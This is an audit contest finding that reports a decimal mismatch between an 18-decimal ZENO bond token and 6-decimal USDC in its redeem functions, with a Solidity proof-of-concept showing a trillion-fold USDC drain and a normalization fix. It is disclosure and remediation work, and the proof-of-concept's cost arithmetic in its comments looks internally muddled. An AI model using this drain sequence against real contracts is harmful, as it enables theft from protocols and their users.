Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Decimal Precision Mismatch in ZENO Redemption Leads to Trillion-Fold Value Extraction

Link to Affected Code:

https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/zeno/ZENO.sol#L46
https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/zeno/ZENO.sol#L65

Description:
The ZENO contract inherits ERC20's 18 decimals while interacting with USDC which uses 6 decimals. Both redeem and redeemAll functions transfer USDC using the same unit amount as ZENO tokens without decimal normalization. This creates a 1e12 (trillion) multiplier effect where redeeming 1 ZENO token (1e18 units) attempts to transfer 1e18 USDC units (1 trillion USDC tokens).

Impact:
Critical - If the ZENO contract is funded with USDC:

  1. Users can extract 1e12 times more USDC than intended

  2. Buying 1 USDC worth of ZENO allows redeeming for 1 trillion USDC

  3. Complete draining of protocol's USDC reserves

  4. System becomes insolvent after first redemption

Proof of Concept:

// Initial Setup
uint256 startTime = block.timestamp;
uint256 endTime = startTime + 7 days;
uint256 startingPrice = 1e6; // 1 USDC
uint256 reservePrice = 1e6; // 1 USDC
uint256 totalAllocated = 1000e6; // 1000 ZENO
// Deploy contracts
ZENO zeno = new ZENO();
Auction auction = new Auction(
address(zeno),
address(usdc),
businessAddress,
startTime,
endTime,
startingPrice,
reservePrice,
totalAllocated,
owner
);
// 1. User buys ZENO tokens
// Amount is in USDC decimals (6)
uint256 buyAmount = 1e6; // 1 USDC worth
auction.buy(buyAmount);
// What happens:
// - User pays: 1e6 USDC (1 USDC)
// - Receives: 1e6 ZENO tokens but with 18 decimals = 1e18 units
// - Cost calculation: price * amount = 1e6 * 1e6 = 1e12 USDC units (correct)
// - But mints: 1e18 ZENO units (18 decimals inherited from ERC20)
// 2. Wait for maturity
vm.warp(block.timestamp + MATURITY_PERIOD);
// 3. Redeem ZENO
zeno.redeem(1e18); // Attempts to redeem full ERC20 units
// Result:
// - Burns: 1e18 ZENO units (correct ERC20 amount)
// - Tries to transfer: 1e18 USDC units (1 trillion USDC!)
// - But user only paid 1 USDC initially
// 4. Value extraction
Initial cost: 1 USDC
Retrieved: 1,000,000,000,000 USDC
Profit: 999,999,999,999 USDC

Recommended Mitigation:
Add decimal normalization in redemption functions:

contract ZENO is IZENO, ERC20, Ownable, ReentrancyGuard {
uint8 private constant USDC_DECIMALS = 6;
uint8 private constant ZENO_DECIMALS = 18;
uint256 private constant DECIMAL_NORMALIZER = 10**(ZENO_DECIMALS - USDC_DECIMALS);
function redeem(uint256 amount) external nonReentrant {
if (!isRedeemable()) revert BondNotRedeemable();
if (amount == 0) revert ZeroAmount();
uint256 totalAmount = balanceOf(msg.sender);
if (amount > totalAmount) revert InsufficientBalance();
uint256 usdcAmount = amount / DECIMAL_NORMALIZER;
if (usdcAmount == 0) revert AmountTooSmall();
totalZENORedeemed += amount;
_burn(msg.sender, amount);
USDC.safeTransfer(msg.sender, usdcAmount);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Decimal precision mismatch between ZENO token (18 decimals) and USDC (6 decimals) not accounted for in redemption, causing calculation errors and incorrect payments

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.